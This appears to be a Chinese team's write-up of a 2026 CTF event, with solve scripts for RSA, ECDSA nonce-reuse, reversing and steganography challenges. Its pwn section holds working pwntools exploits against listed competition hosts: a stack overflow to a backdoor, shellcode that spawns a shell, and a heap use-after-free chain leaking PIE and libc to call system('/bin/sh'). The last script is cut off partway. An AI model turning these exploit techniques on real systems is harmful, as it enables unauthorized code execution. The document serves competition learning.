2026御网杯WriteUp
前言:
最终本次排名第6,密码的ECB题目 没解出来,感觉是个错题,凑齐了10个附件也没用。 队伍寒江雪: Lkaros ZhangMxxx zhy
Crypto
BabyRSA

image
RSA题目,e=3,直接开三次方,秒了
exp:
from math import isclose
n = 100832755055044454948066896593612028634827672786776914467183237705526577012952045109528632559891216199677285370561522112633618894698797760161775216134426402020756175956016227629225376334621393748794823633509500534839770879900319124126978615667262571646064667045952825555794782600422821124849291904329702715217
e = 3
c = 2217344750801082422122557433503178443728349985200064340509561287628968525653585651079146860158642159397263118614633577975384985338333836107135081818643710010408971841104291751023610459221018366622985570596066874370228363712492709069394733845151961088340795011700155875760741
def iroot3(x):
lo, hi = 0, 1
while hi ** 3 <= x:
hi <<= 1
while lo + 1 < hi:
mid = (lo + hi) // 2
if mid ** 3 <= x:
lo = mid
else:
hi = mid
return lo
m = iroot3(c)
flag = m.to_bytes((m.bit_length() + 7) // 8, "big")
print(flag.decode())ScatterRSA
题目代码如下:
from secret import flag
from Crypto.Util.number import *
import random
m = bytes_to_long(flag)
e = 3
print(f"e = {e}")
for i in range(3):
p = getPrime(512)
q = getPrime(512)
n = p * q
a = random.getrandbits(128) | (1 << 127)
b = random.getrandbits(256) | (1 << 255)
c = pow(a * m + b, e, n)
print(f"n{i+1} = {n}")
print(f"a{i+1} = {a}")
print(f"b{i+1} = {b}")
print(f"c{i+1} = {c}")可以看到,题目并不是直接加密 m,而是每次随机生成 a, b,加密线性填充后的明文:
c_i = (a_i * m + b_i)^3 mod n_i其中:
公钥指数
e = 3生成了 3 组不同的 RSA 模数
n1, n2, n3三次加密使用的是同一个 flag 明文
m每次加密前都有公开的线性变换
a_i * m + b_i
思路:
对每一组数据,都有:
(a_i * m + b_i)^3 ≡ c_i (mod n_i)移项得到:
(a_i * x + b_i)^3 - c_i ≡ 0 (mod n_i)令:
f_i(x) = (a_i * x + b_i)^3 - c_i那么真正的明文整数 m 是每个多项式 f_i(x) 在对应模数 n_i 下的根:
f_1(m) ≡ 0 (mod n1)
f_2(m) ≡ 0 (mod n2)
f_3(m) ≡ 0 (mod n3)由于 n1, n2, n3 是不同 RSA 模数,通常两两互素,可以设:
N = n1 * n2 * n3然后把三个模数下的多项式通过 CRT 合并成一个模 N 下的多项式:
F(x) ≡ f_i(x) (mod n_i)因此:
F(m) ≡ 0 (mod N)这时问题转化成:在模 N 下求多项式 F(x) 的小根 m。\
所以我们可以使用Coppersmith 小根攻击
exp:
from sage.all import *
from Crypto.Util.number import long_to_bytes
# public exponent
e = 3
n1 = 78406644063412330827144269082165693855524775872040115517201173073443410480229769568274148648378599447340559212013136304104371398343431564153428535062874800376311265127625727766687101716232202416348874941159422385827020377234200304383339914279306109539295055950771168695795983450922479086642719974951568001123
a1 = 179069785188197128063735833062298282088
b1 = 108602310920516135899953625199026479831613528130098983765509775304380481049236
c1 = 63252812179719365415824095661395699873619221281620649284116525456495492657969128347395906262694181920298642514886137258913612425874543244412361141570055505065364160387485022351593955914517007934817693712484398995438325025790526298775819525749798156105149707900940592786793945170245658868658074048714286848360
n2 = 95020468976740939492744504421572718358377589957590862534596426944713745697519407316474954374220717547414847190383624684829981365714162496004205923099654648343561409997185055826399789260059018296236445634896974399171937408534594770556492595577486034736886981715897932731287622893964944487359432563222589773169
a2 = 256937765435419090013996554824329198102
b2 = 106194089384191278641160829411989148866555891040956845008761670010296097473891
c2 = 69189455762124018990354259751049315347885716276141026926254387098606184767677119541615753786850384135301904271598568283598341309350338300849980006939154544582117288358462253645929195237077943587484536869068620740282202954818087710662521305731662434404639604765467522290344380872734642898064819919222866525595
n3 = 76327387850259066558503241279944367595819739218711435387090070188701489593268018671200393965036334822971788731105131043689617213814536539958962946216274727013886635077932479201396877992034094563923228010894175882636493331356330645383301647712606020240651124738679361743860337944932489521911308225518554189671
a3 = 230197610510629587425547735570441529186
b3 = 102036531983721422375656270902750955826372568198958868967463605609586959104862
c3 = 70530911982806921131468678265423284512112079960880985596519011279227498232312624801272691438407551711362218333097001183623780244884146290664329110735889965737872515329899563749587762154521351009913925896897262019326623455825827780598885978929696497223116909384396989202217844912113182815342075250443286215518
ns = [n1, n2, n3]
aa = [a1, a2, a3]
bb = [b1, b2, b3]
cc = [c1, c2, c3]
N = prod(ns)
# 在 Zmod(N) 上构造多项式环
R = PolynomialRing(Zmod(N), "x")
x = R.gen()
# f_i(x) = (a_i*x + b_i)^3 - c_i
# 展开后:
# a_i^3*x^3 + 3*a_i^2*b_i*x^2 + 3*a_i*b_i^2*x + b_i^3 - c_i
# 对每个系数分别 CRT 合并
coeffs = []
for k in range(4):
residues = []
for a, b, c, n in zip(aa, bb, cc, ns):
if k == 0:
coef = b^3 - c
elif k == 1:
coef = 3 * a * b^2
elif k == 2:
coef = 3 * a^2 * b
else:
coef = a^3
residues.append(Integer(coef % n))
coeffs.append(crt(residues, ns))
F = sum(R(coeffs[i]) * x^i for i in range(4))
F = F.monic()
# flag 长度几十字节,给一个 2^320 的上界即可
roots = F.small_roots(X=2^320, beta=1)
for r in roots:
flag = long_to_bytes(int(r))
print(flag)ECDSA nonce 重用
题目内容:我们截获了某平台签发的 10 组 ECDSA 签名数据,每组包含: 同一个公钥 两条不同消息及其对应的 ECDSA 签名 安全研究员发现,该平台在签名时错误地重复使用了相同的随机数(nonce)k。 请利用这一漏洞,恢复出原始私钥,并提交对应的 flag。 每个压缩包 otp_XX.zip 中包含一个 challenge.json 文件,格式如下: { "public_key_x": "...", "public_key_y": "...", "message1": "57656c636f6d6520746f2074686520435446206368616c6c656e676521", "message2": "506c65617365207265636f766572207468652073656372657420666c61672e", "signature1_r": 123456..., "signature1_s": 789012..., "signature2_r": 123456..., // 注意:与 signature1_r 相同! "signature2_s": 345678..., "curve": "SECP256k1" } Flag 格式:flag{ecdsa_nonce_reuse_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
这个太乱了,整理了一下是
{
"public_key_x": "公钥 x 坐标",
"public_key_y": "公钥 y 坐标",
"message1": "57656c636f6d6520746f2074686520435446206368616c6c656e676521",
"message2": "506c65617365207265636f766572207468652073656372657420666c61672e",
"signature1_r": 123456,
"signature1_s": 789012,
"signature2_r": 123456,
"signature2_s": 345678,
"curve": "SECP256k1"
}json里的:
{
"public_key_x": 36373461199208502881537939570592160125034760514740162313851965199387380927562,
"public_key_y": 92825111073808024318362367371921077714083319732634166233045536731202168822854,
"message1": "57656c636f6d6520746f2074686520435446206368616c6c656e676521",
"message2": "506c65617365207265636f766572207468652073656372657420666c61672e",
"signature1_r": 13512176936387645708832651018343626207194079560842772900400574151509546183127,
"signature1_s": 50293467999534727517078170803792040236777413743107961254444723759753772351107,
"signature2_r": 13512176936387645708832651018343626207194079560842772900400574151509546183127,
"signature2_s": 10231730794214289009461183177519250614823454815958764923080464600448359939016,
"curve": "SECP256k1"
}肉眼一看signature1_r和signature2_r,一样
对于ECDSA来说,r = (kG).x mod n,r一样,说明两次签名使用了相同的nonce k 这也就是为什么题目里说了重用
我们把ECDSA 私钥记为:d 公钥为:Q = dG
其中:
· G 是椭圆曲线基点
· n 是基点阶
· d 是私钥
· Q 是公钥
对消息 m 签名时,先计算消息哈希:z = Hash(m)
然后随机选择 nonce:k
计算:R = kG和 r = R.x mod n
接着计算:s = k^(-1) * (z + r * d) mod n
最终签名为:(r, s)
而对于两条不同消息 m1 和 m2,如果使用了相同的 nonce k,则两条签名分别为:
s1 = k^(-1) * (z1 + r * d) mod n\ s2 = k^(-1) * (z2 + r * d) mod n
其中:
z1 = Hash(m1)\ z2 = Hash(m2)
两式相减:
s1 - s2 = k^(-1) * (z1 - z2) mod n
因此:
k = (z1 - z2) * (s1 - s2)^(-1) mod n
恢复出 k 之后,再由签名公式:
s1 = k^(-1) * (z1 + r * d) mod n
两边乘以 k:
s1 * k = z1 + r * d mod n
移项得到:
r * d = s1 * k - z1 mod n
因此私钥为:
d = (s1 * k - z1) * r^(-1) mod n
exp:
import json
import hashlib
# SECP256k1 的阶 n
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
with open("challenge.json", "r", encoding="utf-8") as f:
data = json.load(f)
# 读取消息并进行 hex 解码
m1 = bytes.fromhex(data["message1"])
m2 = bytes.fromhex(data["message2"])
print("[+] message1 =", m1)
print("[+] message2 =", m2)
# 计算消息哈希 z
z1 = int.from_bytes(hashlib.sha256(m1).digest(), "big")
z2 = int.from_bytes(hashlib.sha256(m2).digest(), "big")
# 读取签名
r1 = int(data["signature1_r"])
s1 = int(data["signature1_s"])
r2 = int(data["signature2_r"])
s2 = int(data["signature2_s"])
# 检查 r 是否相同
if r1 != r2:
raise ValueError("r1 != r2, nonce may not be reused")
r = r1
print("[+] r =", r)
print("[+] s1 =", s1)
print("[+] s2 =", s2)
# 恢复 nonce k
# k = (z1 - z2) * inverse(s1 - s2) mod n
k = ((z1 - z2) * pow((s1 - s2) % n, -1, n)) % n
# 恢复私钥 d
# d = (s1 * k - z1) * inverse(r) mod n
d = ((s1 * k - z1) * pow(r, -1, n)) % n
priv_hex = f"{d:064x}"
print("[+] nonce k =", f"{k:064x}")
print("[+] private key =", priv_hex)
flag = "flag{ecdsa_nonce_reuse_" + priv_hex[:32] + "}"
print("[+] flag =", flag)Reverse
rerere
丢到IDA里

image
跟进sub_140001480函数

image
继续跟进发现是个256数组 S盒

image
那么综上,流程是
sbox[input[i] ^ key[i % 8]] == target[i]
那么反推
input[i] ^ key[i % 8] == inv[target[i]]
input[i] == inv[target[i]] ^ key[i % 8]
求解即为flag
target = [
163, 91, 76, 10, 14, 194, 51, 213,
92, 144, 231, 167, 20, 58, 132, 218,
49, 183, 68, 191, 198, 58, 249, 197,
32, 18, 172, 194, 198, 145, 53, 100,
163, 98, 144, 131, 83, 108
]
key = [
185, 205, 206, 48, 184, 97, 78, 170
]
sbox = [
194, 35, 151, 73, 131, 246, 211, 167,
235, 191, 120, 195, 41, 86, 210, 26,
19, 188, 33, 106, 55, 142, 95, 12,
180, 70, 222, 228, 108, 162, 102, 48,
15, 164, 187, 140, 9, 75, 61, 50,
66, 85, 45, 79, 249, 119, 27, 116,
31, 113, 123, 157, 115, 196, 171, 208,
243, 193, 136, 7, 220, 206, 239, 192,
114, 74, 39, 129, 155, 238, 199, 40,
38, 90, 148, 84, 112, 209, 233, 200,
152, 54, 145, 65, 184, 58, 121, 10,
8, 229, 175, 128, 36, 174, 0, 25,
204, 122, 247, 81, 125, 105, 236, 3,
101, 37, 28, 1, 245, 230, 189, 217,
89, 254, 146, 176, 16, 111, 240, 227,
159, 173, 132, 244, 165, 51, 53, 72,
83, 177, 224, 216, 5, 56, 24, 104,
169, 20, 198, 63, 97, 138, 49, 59,
186, 43, 78, 226, 87, 154, 241, 234,
100, 126, 160, 147, 182, 218, 96, 46,
29, 91, 130, 52, 109, 252, 207, 127,
231, 150, 103, 67, 6, 68, 201, 76,
64, 219, 253, 77, 181, 237, 57, 44,
179, 23, 158, 205, 250, 107, 202, 135,
143, 156, 137, 14, 99, 69, 134, 170,
94, 149, 22, 197, 213, 47, 161, 248,
153, 255, 60, 13, 62, 212, 4, 118,
215, 71, 32, 141, 223, 92, 124, 163,
30, 139, 21, 185, 168, 203, 34, 166,
82, 214, 251, 93, 221, 178, 110, 232,
242, 225, 42, 88, 98, 18, 17, 80,
117, 183, 172, 144, 11, 133, 2, 190
]
# 构造 sbox 的逆表:sbox[x] = y => inv[y] = x
inv = [0] * 256
for i, v in enumerate(sbox):
inv[v] = i
flag = []
for i in range(len(target)):
# 原校验逻辑:
# sbox[input[i] ^ key[i % 8]] == target[i]
# 反推:
# input[i] ^ key[i % 8] == inv[target[i]]
# input[i] == inv[target[i]] ^ key[i % 8]
ch = inv[target[i]] ^ key[i % 8]
flag.append(ch)
flag = bytes(flag)
print(flag.decode())字节码迷踪

image
base64解密,然后xor 199即可
exp:
import base64
encoded_flag = "oaumoLz+oKqlsqnz/+qg8Kir6ret/73qq7Gx/+quqPC39Km3srar8vW6"
xor_key = 199
raw = base64.b64decode(encoded_flag)
flag = ''.join(chr(b ^ xor_key) for b in raw)
print(flag)ChaCha20
apk题目 扔进jadx

image
分别调用了so层的几个函数

image
以此跟进

image

image
可以发现这些函数都在这里,仔细查找发现上面没有什么用 反而sub_25390函数里面有点东西

image

image

image

image
发现这俩是nonce 和key
key = 149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f\ nonce = 44332211abcdef668899aa55
再仔细上找 发现

image
这应该就是密文了,算法是chacha20没魔改,百度chacha20解密即可

image
DES加密验证
依旧扔给jadx,先分析Java层

image
这里的demo和test都是假的,真正的入口是crackme2这里面的mainactivity

image
veriftFlag在native层,把so拖进去
Shift+F12
看到

image

image
不是。。。这是非预期吧
MISC
迷宫
题目给了一个压缩包 maze_09.zip,描述提示关键凭证被隐藏在多层压缩包中,需要逐层解压并提取最内层数据。
解题思路:
获得maze_09.zip文件,使用解压软件进行解压缩

image
先解压最外层压缩包:maze_09.zip
发现解压后仍然是压缩包或嵌套文件,因此继续逐层解压。
为了避免手动重复操作,可以写脚本递归解压当前目录中的压缩文件,直到没有新的压缩包为止。
思路:
解压 maze_09.zip
进入解压目录
查找新的压缩包
继续解压
重复以上步骤
最终得到最内层文件 vault.bin
最内层文件内容为:
NGEzMzU4ZWU5ODdkYzJlODVlYjZhODkxNDUwMzdjYmY=61
可以看到前半部分像 Base64 编码:
NGEzMzU4ZWU5ODdkYzJlODVlYjZhODkxNDUwMzdjYmY=
对其进行 Base64 解码:
echo "NGEzMzU4ZWU5ODdkYzJlODVlYjZhODkxNDUwMzdjYmY=" | base64 -d
得到:
4a3358ee987dc2e85eb6a89145037cbf
根据题目提示,flag 格式为 flag{**},因此最终 flag 为:
flag{4a3358ee987dc2e85eb6a89145037cbf}
解题脚本
import os
import zipfile
import base64
import shutil
start_zip = "maze_09.zip"
workdir = "maze_extract"
if os.path.exists(workdir):
shutil.rmtree(workdir)
os.mkdir(workdir)
# 先解压最外层
with zipfile.ZipFile(start_zip, "r") as z:
z.extractall(workdir)
def try_base64(s):
try:
return base64.b64decode(s).decode()
except:
return None
while True:
found_zip = False
for root, dirs, files in os.walk(workdir):
for name in files:
path = os.path.join(root, name)
# 遇到 zip 就继续解压
if zipfile.is_zipfile(path):
extract_dir = path + "_dir"
os.makedirs(extract_dir, exist_ok=True)
with zipfile.ZipFile(path, "r") as z:
z.extractall(extract_dir)
os.remove(path)
found_zip = True
break
# 检查普通文件内容
try:
with open(path, "r", errors="ignore") as f:
data = f.read().strip()
print("[+] Found file:", path)
print("[+] Content:", data)
# 去掉末尾干扰字符,只保留可能的 Base64 部分
for part in data.split():
if "=" in part:
b64 = part[:part.rfind("=") + 1]
decoded = try_base64(b64)
if decoded:
print("[+] Base64 decoded:", decoded)
print("[+] flag{" + decoded + "}")
exit()
except:
pass
if found_zip:
break
if not found_zip:
break
image
签到题-损坏的压缩包
题目给了一个损坏的压缩包 archive_10.zip,要求提交 flag{*}。 首先使用直接解压: 发现压缩包可以解出文件 data.txt,说明虽然题目说是损坏压缩包,但核心数据仍然可以被提取。

image

image
得到:
dGFoZw==
这是一段明显的 Base64 编码内容。
使用 base64 解码:
echo "dGFoZw==" | base64 -d
得到:

image
根据题目要求提交格式为 flag{*},所以最终 flag 为:
flag{flag}
幻影
题目给了附件 shadow_02.zip,解压后得到 data.bin。 先查看文件内容:

image
可以看到文件开头伪装成 RAR 文件头:
Rar!并且文件中有提示:
REMEMBER: FLAG IS HIDDEN IN BASE64 PLUS XOR!
FAKE FLAG: flag{00000000-0000-0000-0000-000000000000}
DO NOT TRUST THIS ONE.继续观察文件末尾,发现一段 Base64 字符串:
wMrHwd2ek8KQwJGSlYuXwJSRi5KSwJ+Lx5+Wn4uek8OSlZDDw5WSlZLb根据提示,需要先 Base64 解码,再进行 XOR。
写脚本爆破单字节 XOR:
import base64
s = "wMrHwd2ek8KQwJGSlYuXwJSRi5KSwJ+Lx5+Wn4uek8OSlZDDw5WSlZLb"
data = base64.b64decode(s)
for key in range(256):
result = bytes([i ^ key for i in data])
if b"flag{" in result:
print("key =", hex(key))
print(result.decode())运行结果:
key = 0xa6
flag{85d6f743-1f27-44f9-a909-85e436ee3434}最终 flag:
flag{85d6f743-1f27-44f9-a909-85e436ee3434}像素中的秘密
解压缩得到一张空白图片 使用010打开 发现图片尾部藏了一串数据

image
得到隐藏数据:
0000000069cb34419d2dc855e94ba2788d485e3c7b34fca29862fae7b7b6d2d51159b7beab50c60a753b5e25409f72297443c66de8275af19c4b2eb590af42b9整个流程可以概括为:
PNG Tail
↓
提取隐藏数据
↓
Seed + Ciphertext
↓
LCG生成密钥流
↓
XOR解密
↓
Base62解码
↓
flag{file_carving_skill}前 8 字节是随机种子:
0000000069cb3441即:
seed = 0x69cb3441LCG 生成密钥流
枚举常见 LCG 参数
线性同余生成器(LCG)形式为:
state = (a * state + c) % m其中:
a = multiplier
c = increment
m = modulus由于无法直接得知参数,因此枚举 CTF 中常见的 LCG 配置:
LCG_PROFILES = [
("NR32",1664525,1013904223,2**32),
("GLIBC31",1103515245,12345,2**31),
("GLIBC32",1103515245,12345,2**32),
("MSVC",214013,2531011,2**32),
("BORLAND",22695477,1,2**32),
]对每组参数:
利用 seed 生成密钥流
与密文进行 XOR
进行枚举之后得到题目使用参数
multiplier = 1664525
increment = 1013904223
modulus = 2**32即经典:
state = (1664525 * state + 1013904223) % (2**32)每次取:
state & 0xff作为一个密钥字节。
XOR 解密
ciphertext XOR keystream得到:
16vPI4pqYkxq33FsdItrG9pL5jAc3GLk9观察字符集:
0-9
a-z
A-Z符合:
Base62编码特征。
alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"解码后得到flag
解题脚本
import struct
import zipfile
import sys
from pathlib import Path
PNG_HEADER = b"\x89PNG\r\n\x1a\n"
LCG_PROFILES = [
("NR32", 1664525, 1013904223, 2**32),
("GLIBC31", 1103515245, 12345, 2**31),
("GLIBC32", 1103515245, 12345, 2**32),
("MSVC", 214013, 2531011, 2**32),
("BORLAND", 22695477, 1, 2**32),
("MMIX", 6364136223846793005, 1442695040888963407, 2**64),
]
BASE62_ALPHABETS = [
("0-9a-zA-Z", "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"),
("0-9A-Za-z", "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"),
]
def read_file(path):
path = Path(path)
if path.suffix.lower() == ".zip":
with zipfile.ZipFile(path, "r") as z:
for name in z.namelist():
if name.lower().endswith(".png"):
return name, z.read(name)
raise RuntimeError("zip 中没有找到 png 文件")
return path.name, path.read_bytes()
def extract_png_tail(data):
if not data.startswith(PNG_HEADER):
raise RuntimeError("不是合法 PNG 文件")
offset = len(PNG_HEADER)
while offset < len(data):
chunk_len = struct.unpack(">I", data[offset:offset + 4])[0]
chunk_type = data[offset + 4:offset + 8]
chunk_end = offset + 12 + chunk_len
if chunk_type == b"IEND":
return data[chunk_end:]
offset = chunk_end
raise RuntimeError("没有找到 IEND 块")
def lcg_keystream(seed, length, multiplier, increment, modulus):
state = seed % modulus
result = bytearray()
for _ in range(length):
state = (multiplier * state + increment) % modulus
result.append(state & 0xff)
return bytes(result)
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))
def is_base62(s, alphabet):
return all(ch in alphabet for ch in s)
def base62_decode(s, alphabet):
value = 0
for ch in s:
value = value * 62 + alphabet.index(ch)
return value.to_bytes((value.bit_length() + 7) // 8, "big")
def solve(tail):
seed_bytes = tail[:8]
ciphertext = tail[8:]
print("[*] hidden data:", tail.hex())
print("[*] seed bytes :", seed_bytes.hex())
print("[*] ciphertext :", ciphertext.hex())
for endian in ("big", "little"):
seed = int.from_bytes(seed_bytes, endian)
for name, multiplier, increment, modulus in LCG_PROFILES:
keystream = lcg_keystream(
seed,
len(ciphertext),
multiplier,
increment,
modulus
)
middle = xor_bytes(ciphertext, keystream).rstrip(b"\x00")
try:
middle_text = middle.decode("ascii")
except UnicodeDecodeError:
continue
for alphabet_name, alphabet in BASE62_ALPHABETS:
if not middle_text or not is_base62(middle_text, alphabet):
continue
try:
decoded = base62_decode(middle_text, alphabet)
flag = decoded.decode("utf-8")
except Exception:
continue
if flag.startswith("flag{") and flag.endswith("}"):
print("\n[+] Found!")
print("[+] LCG profile :", name)
print("[+] endian :", endian)
print("[+] multiplier :", multiplier)
print("[+] increment :", increment)
print("[+] modulus :", modulus)
print("[+] base62 text :", middle_text)
print("[+] alphabet :", alphabet_name)
print("[+] flag :", flag)
return flag
print("[-] 未找到 flag")
return None
def main():
if len(sys.argv) != 2:
print(f"Usage: python3 {sys.argv[0]} <image.png>")
return
filename, data = read_file(sys.argv[1])
print("[*] PNG file:", filename)
tail = extract_png_tail(data)
if not tail:
print("[-] IEND 后没有隐藏数据")
return
solve(tail)
if __name__ == "__main__":
main()PWN
Authenticate

image
丢进IDA

image
发现后门函数

image
是个简单的栈溢出....
exp:
from pwn import *
context(os="linux", arch="amd64")
context.log_level = "info"
HOST = "47.99.147.34"
PORT = 15420
RET = 0x40101a
BACKDOOR = 0x4011f6
OFFSET = 136
#0x88=0x80+8=136
def start():
return remote(HOST, PORT)
def exploit():
io = start()
io.recvuntil(b"Username: ")
io.sendline(b"user")
io.recvuntil(b"Password: ")
payload = b"A" * OFFSET
payload += p64(RET)
payload += p64(BACKDOOR)
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
exploit()
image
MessageBoard

image

image
buf 只有 0x80 字节,但是 read 最多可以读取 0x100 字节。
因此可以造成栈溢出。
题目还说了考察shellcode,那说啥了
思路:
接收程序泄露的 buf 地址
构造 shellcode
将 shellcode 写入 buf
padding 到 136 字节
覆盖返回地址为 buf_addr + 偏移
函数返回后跳到 shellcode
执行 execve("/bin/sh", 0, 0)
cat flag
exp:
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
p = remote("120.27.146.76", 19743)
offset = 136
p.recvuntil(b"Buffer at: ")
buf = int(p.recvline().strip(), 16)
success(hex(buf))
p.recvuntil(b"Message:")
sc = asm(shellcraft.sh())
payload = b"\x90" * 0x30 + sc
payload = payload.ljust(offset, b"A")
payload += p64(buf + 0x20)
p.send(payload)
p.interactive()
image
UserManager
保护全开

image
不能走 GOT 覆写;由于 PIE 开启,程序基址也需要先泄露。。。。

image
nc发现 是个菜单 直接进IDA看吧

image
可以看到user的结构体

image
主要利用点是 Delete 后没有清空指针导致的 UAF。
Register

image
Register 的逻辑如下:
输入 id,检查范围。
输入密码长度
size,最大允许0x100。malloc(size)分配密码缓冲区。malloc(0x18)分配struct user。初始化结构体:
tmpuser->p = show;
tmpuser->data = buf;
tmpuser->size = size;
users[id] = tmpuser;也就是说注册一个大小为 0x18 的密码时,会连续分配两个同大小 fastbin chunk:
D = password chunk, size 0x20
S = user struct chunk, size 0x20Login

image
Login 会先比较输入密码:
if (!strcmp(input, users[id]->data)) {
puts("Login success!");
users[id]->p(users[id]->data);
}成功登录后会调用结构体中的函数指针:
users[id]->p(users[id]->data);默认情况下,p = show,所以只是打印密码;如果能够把 p 改成 system,并把 data 改成 /bin/sh,登录成功后就会触发:
system("/bin/sh");Delete

image
Delete 是漏洞入口:
free(users[id]->data);
free(users[id]);
puts("Delete success!");释放后没有执行:
users[id] = NULL;因此 users[id] 会继续指向已经释放的 struct user,形成悬垂指针。
Edit
Edit 根据结构体里的 data 和 size 写入:
read(0, users[id]->data, users[id]->size);如果 users[id] 指向已释放结构体,并且该结构体内容被重新分配覆盖,那么 Edit 可以变成一个受控写原语。
漏洞点
核心漏洞链如下:
Delete 后未清空 users[id]
-> user0 结构体指针悬垂
-> fastbin 重新分配相同大小 chunk
-> user1.data 复用旧 user0 结构体
-> Edit user1 可以覆盖 user0 结构体字段
-> Login user0 可用 strcmp 做地址泄露 oracle
-> 改 user0->p 为 system,user0->data 为 "/bin/sh"
-> getshell 并读取 flag利用思路
构造 fastbin UAF 布局
注册 user0,密码长度取 0x18:
Register(0, 0x18, "A" * 0x18)此时堆布局近似为:
D0: user0 password chunk
S0: user0 struct chunk删除 user0:
free(D0)
free(S0)glibc 2.23 fastbin 使用 LIFO,所以再次注册一个 0x18 大小的用户时:
user1.data -> S0
user1.struct -> D0于是 Edit(1, data) 会写入旧的 user0 结构体 S0,也就是可以覆盖:
user0->data
user0->p
user0->size利用 strcmp 构造逐字节泄露 oracle
程序没有直接的任意地址打印功能,但 Login 里有:
strcmp(input, users[0]->data)如果我们能控制 users[0]->data 指向任意地址,那么输入某个字节序列后,根据输出是:
Login success!还是:
Wrong password!就能判断该地址处的内容是否与输入相等。
由于 strcmp 从第一个字节开始比较,并且我们知道 64 位地址高字节通常为 0x55/0x56 或 0x7f,可以从高位有效字节开始往低地址逐字节爆破。

image
泄露函数指针 show:
旧
user0结构体里p = show。p在结构体偏移0x08。泄露地址第 5 字节时,把
user0->data指向D0 + 0x08 + 5。先猜
0x55/0x56等高字节。猜中后,把目标地址依次调整到前一字节,输入
guess + ``已知后缀,直到得到完整 6 字节地址。
泄露到的:

image
show = 0x55b9a56009d0
PIE = 0x55b9a5600000其中:
PIE = show - 0x9d0泄露 libc
PIE 泄露后,可以定位程序 .bss 中的 copy relocation:
stdin@copy = pie + 0x202030这里存放的是 libc 中 _IO_2_1_stdin_ 的真实地址。继续使用上面的 strcmp oracle 泄露这个指针。
泄露:

image
stdin = 0x7fde8ae158e0
libc = 0x7fde8aa51000计算方式:
libc = stdin - 0x3c48e0然后计算:
system = libc + 0x453a0
"/bin/sh" = libc + 0x18ce57覆盖函数指针并 getshell
利用 Edit(1, ...) 覆盖旧 user0 结构体:
edit(io, 1, p64(binsh) + p64(system) + p64(0x18))也就是:
user0->data = "/bin/sh"
user0->p = system
user0->size = 0x18然后登录 user0,密码输入 /bin/sh:
strcmp("/bin/sh", "/bin/sh") == 0登录成功后触发:
users[0]->p(users[0]->data);也就是:
system("/bin/sh");然后在 shell 中读取 /flag。
exp:
from pwn import *
context.log_level = "info"
HOST = "47.99.147.34"
PORT = 14453
SHOW_OFF = 0x9D0
STDIN_OFF = 0x202030
LIBC_STDIN = 0x3C48E0
LIBC_SYSTEM = 0x453A0
LIBC_BINSH = 0x18CE57
def start():
for i in range(100):
try:
io = remote(HOST, PORT, timeout=5)
io.recvuntil(b"Your choice:", timeout=3)
log.info("connected try %d", i)
return io
except Exception:
try:
io.close()
except Exception:
pass
sleep(0.02)
raise RuntimeError("start failed")
def reg(io, idx, size, data):
io.sendline(b"2")
io.sendlineafter(b"Input the user id:", str(idx).encode())
io.sendlineafter(b"Input the password length:", str(size).encode())
io.sendafter(b"Input password:", data)
return io.recvuntil(b"Your choice:", timeout=3)
def dele(io, idx):
io.sendline(b"3")
io.sendlineafter(b"Input the user id:", str(idx).encode())
return io.recvuntil(b"Your choice:", timeout=3)
def edit(io, idx, data):
io.sendline(b"4")
io.sendlineafter(b"Input the user id:", str(idx).encode())
io.sendafter(b"Input new pass:", data)
return io.recvuntil(b"Your choice:", timeout=3)
def login(io, idx, pwd, recv=True):
io.sendline(b"1")
io.sendlineafter(b"Input the user id:", str(idx).encode())
io.sendlineafter(b"Input the passwords length:", str(len(pwd)).encode())
io.sendafter(b"Input the password:", pwd)
return io.recvuntil(b"Your choice:", timeout=3) if recv else b""
def setup(io):
reg(io, 0, 0x18, b"A" * 0x18)
dele(io, 0)
# glibc-2.23 fastbin order after delete:
# user1.data == old user0 struct S, user1.struct == old data chunk D.
# S->data initially points to D; low byte 0x1d means D + 8 + 5.
reg(io, 1, 0x18, b"\x1d")
def set_low(io, low):
edit(io, 1, bytes([low]))
def set_addr(io, addr):
edit(io, 1, p64(addr))
def uniq(seq):
out = []
seen = set()
for x in seq:
if x not in seen and 0 <= x <= 255:
out.append(x)
seen.add(x)
return out
def batch_brute(io, suffix, candidates):
candidates = uniq(candidates)
payload = b""
for c in candidates:
pwd = bytes([c]) + suffix
payload += b"1\n0\n" + str(len(pwd)).encode() + b"\n" + pwd
io.send(payload)
found = None
for c in candidates:
out = io.recvuntil(b"Your choice:", timeout=10)
if b"Login success!" in out and found is None:
found = c
if found is None:
raise RuntimeError("no byte for suffix " + suffix.hex())
return bytes([found]) + suffix
def leak_show(io):
set_low(io, 0x1D)
suffix = batch_brute(io, b"", [0x55, 0x56, 0x57, 0x7F] + list(range(1, 256)))
log.info("PIE suffix %s", suffix.hex())
for pos in [4, 3, 2]:
set_low(io, 0x18 + pos)
suffix = batch_brute(io, suffix, range(256))
log.info("PIE suffix %s", suffix.hex())
set_low(io, 0x19)
suffix = batch_brute(io, suffix, list(range(0x09, 0x100, 0x10)) + list(range(256)))
log.info("PIE suffix %s", suffix.hex())
set_low(io, 0x18)
suffix = batch_brute(io, suffix, [0xD0] + list(range(256)))
ptr = u64(suffix.ljust(8, b"\0"))
if (ptr & 0xFFF) != SHOW_OFF:
raise RuntimeError("bad show pointer: %#x" % ptr)
return ptr
def leak_ptr(io, addr, label):
set_addr(io, addr + 5)
suffix = batch_brute(io, b"", [0x7F] + list(range(1, 256)))
log.info("%s suffix %s", label, suffix.hex())
for pos in [4, 3, 2]:
set_addr(io, addr + pos)
suffix = batch_brute(io, suffix, range(256))
log.info("%s suffix %s", label, suffix.hex())
set_addr(io, addr + 1)
suffix = batch_brute(io, suffix, list(range(0x08, 0x100, 0x10)) + list(range(256)))
log.info("%s suffix %s", label, suffix.hex())
set_addr(io, addr)
suffix = batch_brute(io, suffix, [0xE0] + list(range(256)))
return u64(suffix.ljust(8, b"\0"))
def main():
io = start()
setup(io)
show = leak_show(io)
